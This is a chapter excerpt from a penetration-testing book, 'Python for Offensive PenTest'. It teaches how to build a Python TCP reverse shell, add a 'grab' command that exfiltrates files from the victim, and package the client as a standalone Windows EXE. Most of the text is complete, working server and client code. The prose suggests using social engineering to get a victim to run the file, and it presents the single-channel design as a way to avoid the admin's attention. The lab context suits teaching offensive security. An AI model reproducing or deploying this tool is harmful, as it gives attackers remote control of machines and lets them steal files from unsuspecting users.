Book Image

Python for Offensive PenTest

By : Hussam Khrais
Book Image

Python for Offensive PenTest

By: Hussam Khrais

Overview of this book

Python is an easy-to-learn and cross-platform programming language that has unlimited third-party libraries. Plenty of open source hacking tools are written in Python, which can be easily integrated within your script. This book is packed with step-by-step instructions and working examples to make you a skilled penetration tester. It is divided into clear bite-sized chunks, so you can learn at your own pace and focus on the areas of most interest to you. This book will teach you how to code a reverse shell and build an anonymous shell. You will also learn how to hack passwords and perform a privilege escalation on Windows with practical examples. You will set up your own virtual hacking environment in VirtualBox, which will help you run multiple operating systems for your testing environment. By the end of this book, you will have learned how to code your own scripts and mastered ethical hacking from scratch.
Table of Contents (13 chapters)
Title Page
Copyright and Credits
Packt Upsell
Contributors
Preface
Index

TCP reverse shell


In this section, we will have a quick overview of TCP reverse shells, why we need a reverse connection, and what a shell is. The best way to answer these questions is to study the topology shown in the following figure:

Let's say that we have an Attacker connected somewhere on the Internet, and on the right side we have our Target. So technically, we have a PC that is fully patched with a built-in firewall enabled, and we have the corporate firewall in place. And most likely that Corporate firewall is integrated with an IPS module or Antivirus software. So now, for the attacker to access this protected PC, there are two major problems here. First, the attacker needs to bypass the built-in or the host-based firewall on the operating system, which, by default, will block any incoming connection to that PC unless it's explicitly permitted; and the same rule goes for the corporate firewall as well.

But, if the attacker could somehow find a way to send a malicious file to the user, or maybe trick that user into visiting our malicious website and downloading a malicious file, then we might be able to compromise that PC or maybe the whole network. So, in order to bypass the firewall root restriction, we need to make our target, which is the TCP client, initiate the connection back to us. So, in this case, we are acting as a TCP server, and our target, or our victim here, is acting as a TCP client and this is exactly why we need a reverse shell.

Now, we need to understand what a shell is in the first place. If we can initiate a cmd process on the target machine and bind that process to a network socket, in this case, it's called a reverse shell. Hence, when we say that we sent a TCP reverse shell on port 123 to the target machine, it means that once the victim runs the file, we're expecting to receive a reverse TCP connection on port 123. So, the destination port in this case will be 123, and we should be listening on this port. So this port should be open in our Kali machine. Then, after completing the TCP three-way handshake, we can send certain commands to the victim/target, make the victim execute them, and get the result back to us.

Note

Keep in mind that a combination of social engineering and client-side attacks, which we discussed here, is the most powerful type of attack, and is highly likely to succeed.

Coding a TCP reverse shell

In this section, we will call a sample TCP server on the Kali machine and a sample TCP client on the target machine. Then, we will see how to execute some commands remotely from the Kali machine.

Server side

Lets start with the server side. Building a TCP server in Python is quite simple:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# Basic TCP Server 


import socket # For Building TCP Connection



def connect():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's'

    s.bind(("10.0.2.15", 8080)) # define the kali IP and the listening port

    s.listen(1) # define the backlog size, since we are expecting a single connection from a single
                                                            # target we will listen to one connection

    print '[+] Listening for incoming TCP connection on port 8080'

    conn, addr = s.accept() # accept() function will return the connection object ID (conn) and will return the client(target) IP address and source
                                # port in a tuple format (IP,port)

    print '[+] We got a connection from: ', addr


    while True:

        command = raw_input("Shell> ") # Get user input and store it in command variable

        if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop
            conn.send('terminate')
            conn.close()
            break

        else:
            conn.send(command) # Otherwise we will send the command to the target
            print conn.recv(1024) # and print the result that we got back

def main ():
    connect()
main()

As you can see from the preceding code, the script starts with importing the socket library, which is responsible for coding a low-level network interface. The AF_INIT defines the socket address as a pair: the host and port. In this case, it will be 10.10.10.100, and the port is 8080. The SOCK_STREAM is the default mode for the socket type. Now, the bind function specifies the Kali IP address and the listening port in a tuple format, which is 10.10.10.100, and we should be listening on port 8080 to receive a connection.

Since we are expecting only a single connection from a single target, we'll be listening for a single connection. So the backlog size, which specifies the maximum number of queued connection, is 1; and we define the listening value to be 1. Now, the accept function returns the value of a pair of connection objects (conn), as well as the address (addr). The address here is the target IP address and the source port used from the target to initiate the connection back to us. Next, we will go into an infinite loop and get our command input and send it to the target machine. This raw input is used to get the user input. If the user input was terminate, we will inform our target that we want to close the session, and then we will close the session from our side. Otherwise, we will send a command to the target, and we will read and print the first KB of the received data from the target side.

Client side

Now, let's look into the client side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2


# Basic TCP Client

import socket # For Building TCP Connection
import subprocess # To start the shell in the system

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's' 
    s.connect(('10.0.2.15', 8080)) # Here we define the Attacker IP and the listening port

    while True: # keep receiving commands from the Kali machine
        command = s.recv(1024) # read the first KB of the tcp socket

        if 'terminate' in command: # if we got terminate order from the attacker, close the socket and break the loop
            s.close()
            break 

        else: # otherwise, we pass the received command to a shell process

            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read() ) # send back the result
            s.send( CMD.stderr.read() ) # send back the error -if any-, such as syntax error

def main ():
    connect()
main()

We import the subprocess to start the shell and the system. Next, the connection part is quite simple. We define s and socket object, and we specify the IP address of the Kali machine and the port that we should initiate the connection on. The port that we are listening to on the Kali machine should exactly match the port from which we initiate the connection from the target machine. Similar to the server side, we will go into an infinite loop and get the attacker command. If the attacker command is terminate, or if there is a terminate keyword or string in the command, then we close the connection and break the infinite loop, otherwise we will use the subprocess to start a shell in the system. We will pass the command that we have received from the attacker machine to the subprocess, and get the result or the error. Notice that the subprocess has a kind of self-mechanism for exception handling. For instance, if we mistype a certain command on the Kali side and send the wrong syntax to the target, instead of crashing the process, the stderr handles the exception and returns the error.

Let's quickly try our script from the Python IDE that we used earlier for the hello there program. Run the server side first by clicking on Run and selecting Run Module. Just to verify that we have opened a listener on port 8080, run the following command:

 netstat -antp | grep "8080"

As you can see, python2.7 has opened the port and we are listening. Run the target script on the other VirtualBox. As shown in the following screenshot, we've got ten our shell from an IP address of 10.0.2.10, which is the IP address of our Windows machine, and a source port of 49160:

Let's explore the target machine a little bit starting with ipconfig and dir:

Let's go for arp -a. We now get the ARP table on the target machine:

As shown in the previous screenshot, on mistyping a command, instead of crashing the script, the subprocess stderr returns the wrong syntax error.

To quickly recap what we have done here so far, we have built a reverse TCP tunnel and got the user input using the raw input. When we type arp -a, the raw input will get that command and then we will send it to the target machine. Once received at the target side, we initiate cmd as a subprocess, send the error or the result back, and print it out on the target side.

Note

The shell will crash if you hit Enter a couple of times.

Data exfiltration – TCP

In the previous section, we have seen how to navigate target directories. Now we will see how to grab these files. Ensure that, before grabbing any data from the target machine, the rules of engagement explicitly allow this.

Server side

So, let's start with the updated server side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# TCP Data Exfiltration Server

import socket 
import os # Needed for file operation



# In the transfer function, we first create a trivial file called "test.png" as a file holder just to hold the 
# received bytes , then we go into infinite loop and store the received data into our file holder "test.png", however
# If the requested file doesn't exist or if we reached the end of the file then we will break the loop
# note that we could know the end of the file, if we received the "DONE" tag from the target side

# Keep in mind that you can enhance the code and dynamically change the test.png to other file extension based on the user input


def transfer(conn,command):

    conn.send(command)
    f = open('/root/Desktop/test.png','wb')
    while True: 
        bits = conn.recv(1024)
        if 'Unable to find out the file' in bits:
            print '[-] Unable to find out the file'
            break
        if bits.endswith('DONE'):
            print '[+] Transfer completed '
            f.close()
            break
        f.write(bits)





def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("10.0.2.15", 8080))
    s.listen(1)
    print '[+] Listening for incoming TCP connection on port 8080'
    conn, addr = s.accept()
    print '[+] We got a connection from: ', addr



    while True: 
        command = raw_input("Shell> ")
        if 'terminate' in command:
            conn.send('terminate')
            conn.close() 
            break


# if we received grab keyword from the user input, then this is an indicator for
# file transfer operation, hence we will call transfer function

# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg

        elif 'grab' in command: 
            transfer(conn,command)

        else:
            conn.send(command) 
            print conn.recv(1024) 

def main ():
    connect()
main()

The elif 'grab' in command: code indicates that this is not a normal command; this command is used to transfer a file. So, both the server and the client must agree on this indicator or formula. Now, the formula will be grab followed by * and the path of the file that we want to grab, for example, grab*C:\Users\Hussam\Desktop\photo.jpeg.

Client side

Now, let's take a look at the client side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# TCP Data Exfiltration Client

import socket 
import subprocess 
import os # needed for file operations



# In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker
# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the
# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file


def transfer(s,path):
    if os.path.exists(path):
        f = open(path, 'rb')
        packet = f.read(1024)
        while packet != '':
            s.send(packet) 
            packet = f.read(1024)
        s.send('DONE')
        f.close()

    else: # the file doesn't exist
        s.send('Unable to find out the file')



def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.2.15', 8080))

    while True: 
        command = s.recv(1024)

        if 'terminate' in command:
            s.close()
            break 


# if we received grab keyword from the attacker, then this is an indicator for
# file transfer operation, hence we will split the received commands into two
# parts, the second part which we intrested in contains the file path, so we will
# store it into a variable called path and pass it to transfer function

# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg

        elif 'grab' in command: 
            grab,path = command.split('*')

            try: # when it comes to low level file transfer, a lot of things can go wrong, therefore
                                          # we use exception handling (try and except) to protect our script from being crashed
                                          # in case something went wrong, we will send the error that happened and pass the exception
                transfer(s,path)
            except Exception,e:
                s.send ( str(e) ) # send the exception error
                pass



        else:
            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read() ) 
            s.send( CMD.stderr.read() ) 

def main ():
    connect()
main()

As mentioned previously, both the client and the server must agree on the grab formula. So, on the client side, if we receive a grab string, we will split the command into two sections, the section before * and the section after *, where the second section contains the path and we will store the path in the path variable. Now, to make sure that our script will not crash if something goes wrong during the transfer, we will use the exception handler.

Next, we send the path variable to the transfer function. So, the first thing that we'll do in the transfer function is to check whether the requested file exists in the first place or not. If not, then we'll send the 'Unable to find out the file' message to the server.

Next, we will read the file as pieces or chunks, where each piece or each chunk has a value of 1 KB, and we will loop around until we reach the end of the file. And when we do so, we need to send an indicator or a tag to the server side to indicate that we have reached the end of the file. So, the DONE string in the preceding code block is to indicate that we have reached the end of the file.

Now, on the server side, we create a placeholder or file holder. We will store the received bytes in test.png, which is the file holder here. When the control enters the loop, and each time we read 1 KB of data, it's written into test.png. When it receives the DONE string, it means that we have reached the end of the file. So, the file is closed and the loop ends. Also, if the server gets Unable to find the file, it will print this out and break the loop.

Now, run the server script again and we'll be listening to port 8080. Once we run the script on the target side, we get the shell. Next, proceed to the directory and try to grab Module2.pdf by running the grab*Module2.pdf command: 

When we type the aforementioned command, it will trigger the if statement on both the client side as well as the server side. So, on the target when we receive a grab*Module2.pdf, we will split up this command into two parts. The second part contains Module2.pdf, which is the file that we want to grab. We will store it in the path variable as discussed previously. The code will check whether the file exists, read it in chunks, and send it over to the server side. This gives a response at the server side: [+] Transfer completed.

Find the file on your desktop, it's called 1.txt now, change the file extension to .pdf, and rename the file, since we know that this is not an image but only a placeholder. Now, open Module2.pdf using any PDF reader just to make sure that the file is not corrupt. It'll open without any errors if it hasn't been corrupted.

Let's try with another one. Now, we'll grab Tulips.png:

Since the file that we want to grab has the same extension as our file holder, which is .png, we don't need to change the file extension.

Try to grab any file that exists but the same rule applies here: change the name of the file with its original extension. Let's try with a file that does not exist. Go back to our shell, and type grab*blaaaah.exe and it will throw an error, as shown in the following image:

 

This will crash our script on the target side, which you will see when you run ipconfig.

You were probably expecting us to use a well-known protocol such as FTP, SCP, or secure FTP to do the file transfer. But we used a very low-level file transfer over a TCP socket, so you might ask why we performed it. Since these well-known protocols could be blocked on the firewall, we won't be able to grab any files out. What we have done here is, instead of initiating a new channel every time we want to transfer a file which may trigger the admin's attention, create a single TCP socket, a single session, to gain access, doing a remote shell, as well as for file transfer. This type of transfer is called an inline transfer, where we got a single channel and a single session to perform all the desired actions.

Exporting to EXE

There are multiple methods to export your Python script into a standalone EXE file. Today we'll use py2exe library. You can download the py2exe-0.6.9.win32-py2.7.exe version from https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/.

First, proceed to install this library. It is a fairly simple process just follow the on-screen prompts.

After you've finished the installation, open a Python window on the Windows machine and import py2exe just to make sure that we can import this library without any exceptions. Type python and then import py2exe. If it doesn't throw a error, you're successful:

Now, create a folder named Toexe on your desktop. In this folder, you should have three things: the py2exe binary file, py2exe setup file, and your Client.py script file. For simplicity, rename the binary to py2exe.

The setup file, setup.py, will set the criteria for the final standalone EXE file:

# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/


from distutils.core import setup
import py2exe , sys, os



sys.argv.append("py2exe")
setup(
    options = {'py2exe': {'bundle_files': 1}},

    windows = [{'script': "Client.py"}], 
    zipfile = None,

)

In the setup.py script, we start by appending the py2exe binary into our directory. Then, we set the bundle_files to1. Define the name of our script,Client.py. Setzipfileto None and run thissetupfile.

Two folders will be created, called build and dist , after performing the aforementioned steps, as shown in the following screenshot:

So under the dist folder, we got our Client.exe as a standalone, without any dependencies. Now, on running Client.exe, we will get the connection (provided the server script from the previous section Data exfiltration, is running on the Kali side) and we can see that a the Client.exe process has been created on the Windows Task Manager, as shown in the following screenshot:

So once again, perform a quick verification as follows:

  1. Run ipconfig
  2. Navigate through the directories
  3. Grab a file such as Koala.png and wait for its successful transfer:
  1. Change the file extension to .png
  2. Now, open the image and, after successfully viewing it, terminate the Client.exe process
  3. Execute terminate in the shell on your Kali machine
  4. Once you hit Enter, it gets terminated on the target machine